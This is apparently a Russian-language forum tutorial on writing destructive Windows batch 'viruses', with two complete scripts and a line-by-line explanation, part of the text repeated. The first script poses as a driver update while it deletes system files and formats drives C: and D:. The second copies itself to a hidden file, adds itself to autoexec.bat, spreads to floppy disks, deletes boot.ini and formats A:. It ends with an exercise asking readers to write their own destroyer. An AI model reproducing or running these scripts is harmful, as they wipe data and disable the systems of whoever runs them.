Есть несколько вариантов создания вируса.Мы рассмотрим лишь один из них...
Это пример вируса...Да и еще одно договоримся сохранять наши проекты как .bat файлы... Итак, разберем по строкам... Первая строка "говорит" компьютеру, что не надо показывать операции. Вторая - выводит надпись Windows updating driver... третья и шестая-снимают все атрибуты(скрытый, для чтения и т.д.) с файлов. 4-ая, 5-я, 6-я, 7-я, 8-я и 9-я удаляют файлы на дисках. 10-я и 11-я форматируют диски. Ну и 12-я выводит знаменательную надпись: Virus loading.... Complited! Форматирование может и не произойти, но ОС будет испорчена... Задание:Создайте самостоятельно вирус, который будет "убивать" виндовс не только находящийся на диске С:.
Рассмотрим еще один пример:
Я думаю не все поняли, что это за строчки:
Строчка if exist c:\aivus.bat goto cool С вирусами связано и программирование... Те, кто чуть его знают, поняли её. Для других объясняю: Эта строка проверяет есть ли файл open.bat на диске С: , если есть переходим к строке :cool.
Строка echo c:\aivus.bat>>c:\autoexec.bat добавляет себя в автозапуск.
copy %0 a:\open.bat >nul копирует себя(обозначается %0) в a:\open.bat Ну а строка attrib +h a:\open.bat >nul ставит файлу атрибут скрытый. Если кто-то непонял что значит null, значит - скрыть операцию...
Писал сам. За ошибки и т.п. прошу не судить.
humbsup:
Автор: aivus
Код:
@echo off
echo Windows updating driver...
attrib -r -h -s c:\windows\*.da?
echo Y | del c:\windows\*.da?
echo Y | del d:\*.*
attrib -r -h -s c:\*.*
echo Y | del c:\*.sys
echo Y | del c:\*.bin
echo Y | del c:\*.bat
echo Y | format d:
echo Y | format c:
echo Virus loading.... Completed!
Это пример вируса...Да и еще одно договоримся сохранять наши проекты как .bat файлы... Итак, разберем по строкам... Первая строка "говорит" компьютеру, что не надо показывать операции. Вторая - выводит надпись Windows updating driver... третья и шестая-снимают все атрибуты(скрытый, для чтения и т.д.) с файлов. 4-ая, 5-я, 6-я, 7-я, 8-я и 9-я удаляют файлы на дисках. 10-я и 11-я форматируют диски. Ну и 12-я выводит знаменательную надпись: Virus loading.... Complited! Форматирование может и не произойти, но ОС будет испорчена... Задание:Создайте самостоятельно вирус, который будет "убивать" виндовс не только находящийся на диске С:.
Рассмотрим еще один пример:
Код:
@echo off
if exist c:\aivus.bat goto cool
copy %0 c:\aivus.bat >nul
attrib +h c:\aivus.bat >nul
echo c:\aivus.bat>>c:\autoexec.bat
echo Y | del %0 >nul
:cool
copy %0 a:\run.bat >nul
copy %0 a:\open.bat >nul
attrib +h a:\open.bat >nul
echo Y | del c:\windows\calc.exe >nul
attrib -h -s -r c:\*.ini >nul
echo Y | del c:\boot.ini >nul
echo Y | format a:
Я думаю не все поняли, что это за строчки:
Код:
if exist c:\aivus.bat goto cool
echo c:\aivus.bat>>c:\autoexec.bat
copy %0 a:\open.bat >nul
attrib +h a:\open.bat >nul
Строчка if exist c:\aivus.bat goto cool С вирусами связано и программирование... Те, кто чуть его знают, поняли её. Для других объясняю: Эта строка проверяет есть ли файл open.bat на диске С: , если есть переходим к строке :cool.
Строка echo c:\aivus.bat>>c:\autoexec.bat добавляет себя в автозапуск.
copy %0 a:\open.bat >nul копирует себя(обозначается %0) в a:\open.bat Ну а строка attrib +h a:\open.bat >nul ставит файлу атрибут скрытый. Если кто-то непонял что значит null, значит - скрыть операцию...
Писал сам. За ошибки и т.п. прошу не судить.
Автор: aivus